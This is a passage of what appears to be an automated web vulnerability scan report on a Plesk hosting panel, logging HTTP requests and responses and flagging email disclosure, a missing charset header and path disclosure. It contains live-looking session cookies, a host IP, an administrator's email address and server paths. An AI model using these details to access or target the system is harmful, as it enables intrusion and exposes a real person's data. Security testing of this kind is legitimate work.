email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
The following email addresses were disclosed in the response:
email@domain1.com
email@domain2.com
h02332@gmail.com
Request
GET /smb/file/index/type/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:50 GMT Connection: close Content-Length: 55406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
The following email addresses were disclosed in the response:
email@domain1.com
email@domain2.com
h02332@gmail.com
Request
GET /smb/file/index/type/external HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/file Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:54 GMT Connection: close Content-Length: 49536
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 03:12:22 GMT Connection: close Content-Length: 49536
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
The following email addresses were disclosed in the response:
email@domain1.com
email@domain2.com
h02332@gmail.com
Request
GET /smb/file/index/type/private/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:53 GMT Connection: close Content-Length: 55406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
The following email addresses were disclosed in the response:
email@domain1.com
email@domain2.com
h02332@gmail.com
Request
GET /smb/file/index/type/private/folder/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:52 GMT Connection: close Content-Length: 55128
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
The following email addresses were disclosed in the response:
email@domain1.com
email@domain2.com
h02332@gmail.com
Request
GET /smb/file/index/type/private/folder/admin HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/file Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:53 GMT Connection: close Content-Length: 55128
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
The following email addresses were disclosed in the response:
email@domain1.com
email@domain2.com
h02332@gmail.com
Request
GET /smb/file/index/type/protected HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/file Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:53 GMT Connection: close Content-Length: 50483
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, footer: { cls: 'msg-protected', description: 'Access to files in this folder is protected with a password. Users wi ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
The following email addresses were disclosed in the response:
email@domain1.com
email@domain2.com
h02332@gmail.com
Request
GET /smb/file/index/type/shared HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/file Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:07:54 GMT Connection: close Content-Length: 49535
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... \/protected","url":"http:\/\/plesk.cloudscan.me:80\/files\/protected\/"}}, userContactName: 'admin', userLogin: 'admin', users: {"1":{"id":"1","contactName":"admin","email":"h02332@gmail.com"}}, isBuiltIn: true, operations: [ { componentType: 'Jsw.SmallButton', title: 'Share', description: 'Move sele ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]... s:","enterAdditionalAddresses":"External e-mails that should receive the links:","enterAdditionalAddressesHint":"Separate e-mail addresses with a comma, semicolon, new line or whitespace, for example: email@domain1.com,email@domain2.com","emailSubject":"E-mail Subject","emailBody":"E-mail Body","linkTypeShared":"Only authorized Panel users who have the links can access and modify these files.","linkTypePublic":"Everyone who has the l ...[SNIP]...
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
HTTP/1.1 200 OK Content-Type: text/html ETag: "1286676477-10321169792bce25daa15603ea9ba645-en-US" Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:07:56 GMT Connection: close Content-Length: 8896
function chk_quotes(str) { re = /(\'.*\")|(\".*\')/; return str.search(re) == -1; }
function chk_pd_name(dir) { re = /^[0-9a-zA-Z\-_.\/~@!\+=\^\(\)\[\]\{\}, ]+$/; // forbid // and ^. a ...[SNIP]...
GET /plesk/client@1/domain@1/hosting/file-manager/permissions/?fname=C%3A%2FInetpub%2Fvhosts%2Fplesk.cloudscan.me%2Ferror_docs%2Funauthorized.html HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/?cmd=chdir&file=%2Ferror_docs%2F Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; testCookie=test; psaContext=dashboard; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:08:35 GMT Connection: close Content-Length: 433
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <html><head><title>Plesk encountered ...[SNIP]...
GET /smb/app/search-data/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
